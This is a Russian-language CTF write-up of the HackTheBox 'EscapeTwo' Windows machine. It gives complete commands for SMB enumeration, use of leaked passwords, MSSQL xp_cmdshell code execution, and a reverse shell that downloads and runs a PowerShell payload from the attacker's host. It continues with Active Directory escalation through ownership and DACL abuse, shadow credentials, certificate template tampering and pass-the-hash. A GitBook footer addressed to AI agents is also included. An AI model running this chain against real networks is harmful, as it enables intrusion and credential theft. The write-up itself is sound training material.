> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # Запись HackTheBox EscapeTwo {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление SMB * Утечка пароля из информации (zip, файл Excel) * Эксплуатация MSSQL (Microsoft SQL) с RCE * Перечисление BloodHund * WriteOwner пользователя CA/\_SVC (повышение привилегий) {% endhint %} В ходе этого тестирования на проникновение в среде Windows у нас есть следующие учетные данные: * имя пользователя: `rose` * пароль: `KxEPkKe6R8su` ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**Анализ открытых портов с помощью extractPorts:** Используя функцию extractPorts, чтобы в кратком формате отображать открытые порты и копировать их в `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` буфер обмена

Сканирование версий портов с Nmap: Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

### Порт 445 - SMB **Проверить пользователя с помощью CrackMapExec** Мы подтверждаем, что `rose` пользователь существует на контроллере домена (DC): ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**Исследование общих ресурсов SMB** Мы перечисляем доступные общие ресурсы с помощью `--shares` команды: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Результат**: Видны две интересные папки: * `Users` * `Отдел бухгалтерии`

/*/* Подключение к SMB-ресурсу с smbclient/*/* Мы получаем доступ к **Отдел бухгалтерии**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` В этом каталоге мы извлекаем два файла Excel: ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**Определение формата файла** С помощью `файл` командой, мы определяем, что эти файлы на самом деле являются ZIP-архивами.

**Извлечение ZIP-файлов** Мы распаковываем восстановленные файлы:

**Поиск конфиденциальной информации** Мы фильтруем извлечённые файлы, чтобы найти информацию, содержащую ключевое слово **пароль**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**Результат**: Файл с именем `shareStrings.xml` содержит список пользователей и паролей.

Имя	Фамилия	Эл. почта	Имя пользователя	Пароль
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**Проверка учетных данных с CrackMapExec** Мы используем восстановленные учетные данные для проверки учетных записей: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Результат**: Работает только `oscar` пользователь действителен.

## Эксплуатация MSSQL (Microsoft SQL) **Порт 1433 (MSSQL)** Порт 1433 открыт, что указывает на то, что слушает сервер Microsoft SQL. Мы проверим подключения с различными пользователями, полученными ранее.

**Тест подключения MSSQL** Мы используем `mssqlclient.py` чтобы попробовать подключиться: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**Результат**: Только пользователь `sa` подходит. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### Обратная оболочка через MSSQL **Включить выполнение команд** Чтобы выполнять системные команды, мы включаем `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Затем мы тестируем с простой командой, например `ipconfig`: ```sql xp_cmdshell ipconfig ```

**Подготовка прослушивания на нашей машине** Мы запускаем прослушивание на порту 4444: ```bash rlwrap nc -nvlp 4444 ``` **Скачать PowerShell-скрипт** Мы подготавливаем PowerShell-скрипт под названием `PS.ps1` который включает команду обратной оболочки. В конце скрипта мы добавляем следующую строку: {% embed url="" %} В конце скрипта мы добавляем следующую строку: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Мы размещаем этот скрипт на локальном веб-сервере: ```bash python3 -m http.server 80 ``` **Выполнение обратной оболочки** На сервере MSSQL мы выполняем следующую команду, чтобы скачать и запустить PowerShell-скрипт: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Переход к пользователю Ryan **Обнаружены новые учетные данные** Исследуя систему, мы обнаруживаем каталог с именем **SQL2019** в корне. Внутри мы находим следующие учетные данные: * Имя пользователя : `ryan` * Пароль: `WqSZAF6CysDQbGb3`

**Проверка учетных данных с CrackMapExec** Мы проверяем, действительны ли эти учетные данные: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

Исследуя общие каталоги, мы находим пользователя по имени `ryan`. Мы проверяем те же учетные данные, что и для `sql_svc`:

**Результат**: Учетные данные также работают для пользователя `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### Флаг user.txt :)

## Повышение привилегий ### Перечисление с BloodHund-python Используемая команда: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner: **Наблюдение :**/ Пользователь **Ryan** имеет `WriteOwner` разрешение в **CA/ SVC** учетной записи, которая также является издателем сертификатов. Это означает, что мы можем изменить владельца учетной записи **CA/ SVC** чтобы назначить **Ryan**.

### Получить контроль над CA/\_SVC с помощью BloodyAD #### Изменение владельца учетной записи {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} Команда использует BloodyAD для изменения владельца **CA/ SVC** и назначить его на **Ryan**. Как владелец, **Ryan** может теперь изменять привилегии, связанные с учетной записью. ### Изменение разрешений с помощью Dacledit #### Предоставить Райану полные права {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Эта команда изменяет **DACL** (список управления доступом) учетной записи **CA/ SVC** чтобы предоставить полный контроль **Ryan**. Это позволяет Райану сбросить пароль или управлять ключами аутентификации.

### Извлечение Shadow Credentials #### Сгенерировать и получить NT-хеш {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

NT-хеш для **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` У **Certipy** команда генерирует идентификационный ключ для **CA/ SVC**, что позволяет выполнять аутентификацию на основе сертификата. Файл `.ccache` также создается, что облегчает атаки на основе Kerberos. ### Изменение шаблона сертификата #### Настроить шаблон DunderMifflinAuthentication {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

Эта команда изменяет **DunderMifflinAuthentication** шаблона сертификата, чтобы разрешить выпуск сертификатов с повышенными привилегиями. ### Выпуск сертификата для администратора #### Запросить сертификат для подмены личности {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

Эта команда запрашивает сертификат от имени Administrator (`Administrator@sequel.htb`), позволяя подменить личность этой учетной записи. ### Аутентификация от имени Administrator #### Использование сертификата для аутентификации ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**Хеш NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

Эта команда выполняет аутентификацию от имени Administrator с помощью ранее полученного сертификата и извлекает хеш NTLM. ### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.